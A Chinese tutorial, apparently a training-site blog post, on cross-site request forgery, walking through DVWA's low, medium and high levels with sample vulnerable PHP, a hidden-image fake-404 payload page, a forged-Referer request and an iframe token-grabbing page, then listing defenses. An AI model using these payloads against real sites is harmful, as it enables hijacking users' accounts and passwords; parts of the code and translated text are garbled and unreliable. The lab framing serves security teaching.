CSRF攻击即跨站请求伪造(跨站点请求伪造),是一种对网站的恶意利用,听起来似乎与XSS跨站脚本攻击有点相似,但实际上彼此相差很大,XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。

你可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求。CRSF能做的事情包括利用你的身份发邮件,发短信,进行交易转账等,甚至盗取你的账号。

那么,今天i春秋向小伙伴介绍一下CSRF突破原理的相关内容,希望对大家学习Web安全有所帮助。文章阅读约15分钟,一定要看完哦,文末内容更精彩〜

 CSRF攻击原理

当我们打开或登录某个网站后,浏览器与网站所存放的服务器将会产生一个会话,在会话结束前,用户就可以利用其自身的网站权限对网站进行操作,如:发表文章,发送邮件,会话结束后,在进行权限操作,网站就会知道会话超期或重新登录。

当通过登录网站后,浏览器就会和可信的站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求,都被认为是可信的行为,例如转账,汇款等操作。过长或者自主结束重叠,必须重新建立经过认证的可信安全的会话。

CSRF攻击是建立在会话之上。例如:登录了网上银行,拆分转换账业务,这是攻击者给你发来一个URL,这个URL是攻击者精心构造的有效替代,攻击者精心构造的转账业务代码,而且与你登录的是同一家银行,当你认为这是安全的链接后点击进去,你的钱就没了!

例如想给用户xxser转账1000元,正常的URL是:

secbug.org/pay.jsp?user=xxser&money=1000

而攻击者构造的URL则是:

secbug.org/pay.jsp?user=hack&money=10000

CSRF突破利用

CSRF进攻常常被用来制造蠕虫攻击,SEO流量等。

分析防御代码

获取GET参数用户名和密码,然后通过选择语句查询是否存在对应的用户,如果存在通过$ _SESSION设置一个会话:isadmin = admin,否则设置会话:isadmin = guest

判断会话中的isadmin是否为admin,如果isadmin!= admin说明用户没有登录,那么切换到登录页面,只有在管理员登录后才可以执行用户的操作。

获取POST参数用户名和密码然后插入用户表中,完成添加用户的操作。

<?php

    session_start();
    if (isset($_GET['login'])) {
        $con=mysqli_connect("127.0.0.1","root","123456","test");
        if (mysql_connect_errno()) {
            echo "连接失败".mysql_connect_errno();
        }
        $username = addslashes($_GET['username']);
        $password = $_GET['password'];
        $result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");
        $row = mysqli_fetch_array($result);
        if($row){
            $_SESSION['isadmin'] = 'admin';
            exit("登录成功");
        } else{
            $_SESSION['isadmin'] = 'guest';
            exit("登录失败");
        }
    } else{
        $_SESSION['isadmin'] = 'guest';
    }
    if($_SESSION['isadmin'] != 'admin'){
        exit("请登录……");
    }
    if(isset($_POST['submit'])){
        if (isset($_POST['username'])) {
            $result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");
            exit($_POST['username']."添加成功");
        }
    }
?>

这是后台php源码。

攻击者需要做的就是构造一个请求,请求的URL就是php文件的URL,参数是submit = 1&username = 1&password = 1,请求有效载荷会自动利用原始码的特性添加一个用户:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>CSRF漏洞实践</title>
</head>
<body>
    <script type="text/javascript">
        var pauses = new Array("16");
        var methods = new Array("POST");
        var urls = new Array("isadmin.php");
        var params = new Array("submit=1&username=1&password=1");
        function pausecomp(millis){
            var date = new Date();
            var curDate = null ;
            do{
                curDate = new Date();
            }while(curDate-date<millis);
        }
        function run(){
            var count = 1 ;
            var i = 0 ;
            for( i=0 ; i < count ; i ++){
                makeXHR(methods[i],urls[i],params[i]);
                pausecomp(pausecomp[i]);             }
        }
        var http_request = false ;
        function makeXHR(method , url , paramters){
            http_request = false ;
            if(window.XMLHttpRequest){
                http_request = new XMLHttpRequest() ;
                if(http_request.overrideMinmeType){
                    http_request.overrideMinmeType('text/html');
                }
            } else if(window.ActiveXObject){
                try{
                    http_request = new ActiveXObject("Msxml2.XMLHTTP");
                } catch(e){
                    try{
                        http_request = new ActiveXObject("Microsoft.XMLHTTP");
                    } catch (e){ }
                }
            }
            if(!http_request){
                alert('Cannot create XMLHTTP instance');
                return false;
            }
            if(method == 'GET'){
                if(url.indexOf('?') == -1){
                    url = url + '?' + paramters;
                } else{
                    url = url + '&' + paramters;                 }
                http_request.open(method,url,true);
                http_request.send("");             } else if(method == 'POST'){
                http_request.open(method,url,true);
                http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded");
                http_request.setRequestHeader("Content-length",paramters.length);
                http_request.setRequestHeader("Connection","close");
                http_request.send(paramters);
            }
        }
    </script>
</body>
</html>

DVWA平台CSRF

没有找到比较好的原始文件,于是找到了DVWA。

low

  • 前端源码
<h3>Change your admin password:</h3>
<br>
<form action="#" method="GET">
New password:<br>
<input autocomplete="off" name="password_new" type="password"><br>
Confirm new password:<br>
<input autocomplete="off" name="password_conf" type="password"><br>
<br>
<input value="Change" name="Change" type="submit">
</form>

前端原始码的非常简单,是一个修改密码的CSRF,表单采用GET方式更改提交。

  • 后端源码
<?php

if( isset( $_GET[ 'Change' ] ) ) {
  // Get input
  $pass_new  = $_GET[ 'password_new' ];
  $pass_conf = $_GET[ 'password_conf' ];   // Do the passwords match?
  if( $pass_new == $pass_conf ) {
      // They do!
      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass_new = md5( $pass_new );       // Update the database
      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );       // Feedback for the user
      echo "<pre>Password Changed.</pre>";
  }
  else {
      // Issue with passwords matching
      echo "<pre>Passwords did not match.</pre>";
  }   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>

可以看到预期接收数据后会验证两次密码是否重复,然后修改密码。

  • 构造有效Payload
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

我们将Payload发送给受害者,受害者处于会话保持(登录状态)中,遭受一旦点击该URL链接,就意味着受害者执行了同样的操作,这个过程就是CSRF。

笔者位于的DVWA使用的登录密码,被替换为“ 123456”。

  • 重点

这里的攻击建立是利用受害者的Cookie向服务器发送伪造请求(Payload),如果用户使用的是一个与xxser.com保持会话登录的浏览器重置有效负载URL,受害者的密码就会发生更改。

现如今,人们的安全意识普遍增高,我们可以采用短链接这种方式来进行优化,例如百度,新浪的短链接替代,以便减少图片内容,密码修改后的页面会有提示。

  • 高明的做法(从一位前辈copy过来的)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Payload</title>
</head>
<body>
<img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none">
<h1>404</h1>
<h2>file not found.</h2>
</body>
</html>

页面的作用是加载一个伪404的页面,实际上可以访问该页面,就会加载图片,所谓加载图片就是加载src属性,而src属性则为Payload-URL,实际的行为就是加载该html页面的同时图片会加载,也就执行了有效负载。

middle

  • 前端源码(添加了http_referer头的验证)
<?php

if( isset( $_GET[ 'Change' ] ) ) {
  // HTTP_REFERER :查询当前页的前一页的地址信息
  // SERVER_NAME  :获取域名
  if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
      // stripos() :查字符第一次出现的位置,
      $pass_new  = $_GET[ 'password_new' ];
      $pass_conf = $_GET[ 'password_conf' ];       // Do the passwords match?
      if( $pass_new == $pass_conf ) {
          // They do!
          $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
          $pass_new = md5( $pass_new );           // Update the database
          $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
          $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );           // Feedback for the user
          echo "<pre>Password Changed.</pre>";
      }
      else {
          // Issue with passwords matching
          echo "<pre>Passwords did not match.</pre>";
      }
  }
  else {
      // Didn't come from a trusted source
      echo "<pre>That request didn't look correct.</pre>";
  }   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>

检查HTTP_REFERER(http数据包的referer参数值)即上一级URL地址信息是否包含由HTTPHTTP数据包中的主机参数值;包含则表示当前页面是从DVWA即上一级URL合法的行为。

合法的http数据包:

GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/
Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1

留意第2行,第8行。

  • 分析绕过

但是stripos()函数写的头验证是可以绕过的〜stripos()函数是多次匹配;只要包含了目标主机地址就可以可以绕过过strips()函数写的验证语句

如果我们依旧按照建立一个伪造的攻击页面,stripos()头验证就会验证,而页面并非来自DVWA,于是深挖stripos()函数的扩展,发现函数会多次匹配,于是思路就是建立一个假的文件名,通过一个伪造的文件名,绕过stripos()的验证。

  • Payload
GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/127.0.0.1.html
Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
X-Forwarded-For: 8.8.8.8
Connection: keep-alive

这里注意:我们将Payload命名为“ 127.0.0.1.html”

high

  • 前端源码
<?php

if( isset( $_GET[ 'Change' ] ) ) {
  // 加入 Anti-CSRF token机制
  checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );   // Get input
  $pass_new  = $_GET[ 'password_new' ];
  $pass_conf = $_GET[ 'password_conf' ];   // Do the passwords match?
  if( $pass_new == $pass_conf ) {
      // They do!
      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass_new = md5( $pass_new );       // Update the database
      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );       // Feedback for the user
      echo "<pre>Password Changed.</pre>";
  }
  else {
      // Issue with passwords matching
      echo "<pre>Passwords did not match.</pre>";
  }   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} // Generate Anti-CSRF token
generateSessionToken(); ?>

加入反CSRF令牌机制,用户访问改密页面时,服务器返回令牌,只有用户提交令牌参数才可以进行改密行为。

  • 分析绕过

我们构造有效载荷页面的时候,就需要考虑到执行改密行为必须向服务器发送令牌,而令牌只有在改密页面才可以获得;

根据前辈的思路:利用受害者的cookie去改密页面获取令牌。

<script type="text/javascript">

  function attack()

{

 document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

document.getElementById("transfer").submit();

}

</script>

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

<body οnlοad="attack()">

<form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/">

 <input type="hidden" name="password_new" value="password">

  <input type="hidden" name="password_conf" value="password">

 <input type="hidden" name="user_token" value="">

<input type="hidden" name="Change" value="Change">

 </form>

</body>

攻击提示是当受害者点击进入该页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的令牌,并向服务器发送改密请求,以完成CSRF攻击。

然而理想与现实的差异是巨大的,这里牵扯到了跨域问题,而现在的浏览器是分离跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://169.254。 36.73 / DVWA主站/漏洞/ csrf /,位于服务器169.254.36.73上,而我们的攻击页面位于黑客服务器上,其中的域名不同,域名B下的所有页面都主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于跨域是不能实现的,所以我们将攻击代码注入到目标服务器169.254.36.73中,才有可能完成攻击。下面利用高级XSS入侵协助赢得Anti-CSRF令牌(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)

这里的名称存在XSS突破,于是抓包,改参数,成功删除令牌链接。

通过DVWA平台的CSRF实例,简单的总结了CSRF的特性和应对措施:

CSRF应对措施

从DVWA的测试中总结:在不可能的等级的原始代码中,利用了PDO技术防御SQL注入,CSRF方面则要求用户原始密码;攻击者在不知道原始密码的情况下是无法进行CSRF的!

CSRF防御手段

  • 使用POST,限制GET

GET方式最容易受到CSRF攻击,只要简单的构造有效剂量就可能导致CSRF;使用POST可以大程度的减低CSRF显示率

  • 浏览器Cookie策略

老浏览器会拦截第三方本地Cookie的发送,而新浏览器则不会拦截发送;

  • 添加验证码

简单粗暴还有效;可以大程度的增加人机交互的过程,避免用户被悄悄的偷袭

  • 推荐人检查

检查请求是否来自于合法的源

  • 反CSRF令牌

令牌的值必须是随机的,不可预测的。由于令牌的存在,攻击者无法再构造一个带有合法令牌的请求实施CSRF攻击。另外使用令牌时应注意其保密性,尽量把敏感的操作由GET改写POST,以表格或AJAX形式提交,避免令牌替换。

  • 总结

CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式,通常使用反CSRF令牌来防御CSRF攻击,同时要注意令牌的保密性和随机性。

实际上是网络安全除CSRF之外,还包括SQL注入,XSS等众多知识点,繁杂且不成体系,若要深入学习Web安全攻防内容,一定要从基础抓起:https://www.ichunqiu.com/train/course/11?form=weixin

10分钟浅谈CSRF突破原理,Web安全的第一防线!的更多相关文章

  1. 在net中json序列化与反序列化 面向对象六大原则 (第一篇) 一步一步带你了解linq to Object 10分钟浅谈泛型协变与逆变

    在net中json序列化与反序列化   准备好饮料,我们一起来玩玩JSON,什么是Json:一种数据表示形式,JSON:JavaScript Object Notation对象表示法 Json语法规则 ...

  2. django 浅谈CSRF(Cross-site request forgery)跨站请求伪造

    浅谈CSRF(Cross-site request forgery)跨站请求伪造(写的非常好) 本文目录 一 CSRF是什么 二 CSRF攻击原理 三 CSRF攻击防范 回到目录 一 CSRF是什么 ...

  3. 浅谈CSRF(Cross-site request forgery)跨站请求伪造

    目录 浅谈CSRF(Cross-site request forgery)跨站请求伪造 CSRF是什么 CSRF攻击原理 CSRF攻击防范 浅谈CSRF(Cross-site request forg ...

  4. 浅谈React工作原理

    浅谈React工作原理:https://www.cnblogs.com/yikuu/p/9660932.html 转自:https://cloud.tencent.com/info/63f656e0b ...

  5. 浅谈html运行原理

    浅谈HTML运行原理,所谓的HTML简单的来说就是一个网页,虽然第一节就讲html原理可能大家会听不懂,就当是给一个初步印象把,至少大概知道一个网页的运行流程是怎样的,下面上一张图: 大致的一个htm ...

  6. [转]浅谈CSRF攻击方式

    在CSDN中看到对CSRF攻击的原理及防护文章,讲解浅显易懂,特转之: 来源:http://blog.csdn.net/fationyyk/article/details/50833620 一.CSR ...

  7. 浅谈CSRF攻击方式

    一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSR ...

  8. 浅谈CSRF(Cross-site request forgery)跨站请求伪造(写的非常好)

    一 CSRF是什么 CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者X ...

  9. 浅谈CSRF攻击方式(转)

    add by zhj: 在看Django开发的应用时,看到了CSRF,然后搜到了这篇文章,讲的不错.其实CSRF 攻击也蛮简单的.当你登陆网站A后,会在本地存有cookie,在cookie没有过期的情 ...

随机推荐

  1. [20191206]隐含参数_db_always_check_system_ts.txt

    [20191206]隐含参数_db_always_check_system_ts.txt --//今年年头我做tab$删除恢复时,遇到的问题,就是遇到延迟块清除的问题.参考链接:http://blog ...

  2. js 从两道面试题加深理解闭包与箭头函数中的this

     壹 ❀ 引 在本文之前我已经花了两个篇幅专门介绍了JavaScript中的闭包与this,正好今早地铁上看到了两道面试题,试着做了下发现挺有意思,所以想单独写一篇文章来记录解析过程.若你对于闭包与t ...

  3. 8 种经常被忽视的 SQL 错误用法,你有没有踩过坑?

    1.LIMIT 语句 分页查询是最常用的场景之一,但也通常也是最容易出问题的地方.比如对于下面简单的语句,一般 DBA 想到的办法是在 type, name, create_time 字段上加组合索引 ...

  4. Java基础语法05-面向对象-封装-包-构造器-初始化

    封装 面向对象三大特性:封装.继承.多态 封装的好处 1.调用者:方便使用/简化使用 2.设计者:安全,可控 隐藏对象内部的复杂性,只对外公开简单的接口.便于外界调用,从而提高系统的可扩展性.可维护性 ...

  5. Java面向对象之构造器

    目录 Java面向对象之构造器 利用构造器确保初始化 构造器重载 Java面向对象之构造器 利用构造器确保初始化 初始化问题是关系编程方式是否安全的一个重要的问题. 功能:在创建对象时执行初始化. 在 ...

  6. How to: Implement File Data Properties 如何:实现文件数据属性

    This topic demonstrates how to implement a business class with a file data property and a file colle ...

  7. Leetcode 之 Mysql(day01)

    大四已经接近一半了,下学期就要准备找工作实习了.为了自己能找到一份比较满意的实习,今天开始要刷一下题目.今天就刷 MySQL 语言.以下就是我今天刷的题目.大家也可以去 leetcode 注册一个账号 ...

  8. CSS雪碧图(精灵图)使用

    1:CSS雪碧图:CSS雪碧图 即 CSS Sprites,也有人叫它CSS精灵图. 2:雪碧图的由来:一个网站的页面需要大量的小图片或者小图标,但是大量的图片如果放在服务器上,每次当打开网站并且向服 ...

  9. 为Dynamics 365 USD设置打开调试面板的自定义快捷键

    我是微软Dynamics 365 & Power Platform方面的工程师罗勇,也是2015年7月到2018年6月连续三年Dynamics CRM/Business Solutions方面 ...

  10. 微店APP协议简要分析

    1.通过抓包软件charles进行抓包,点击微信收款后,抓包内容都是加密处理过  2.加载分析定位这些字段的加密函数. WDTNThorParameterProcessor HTTPBody:task ...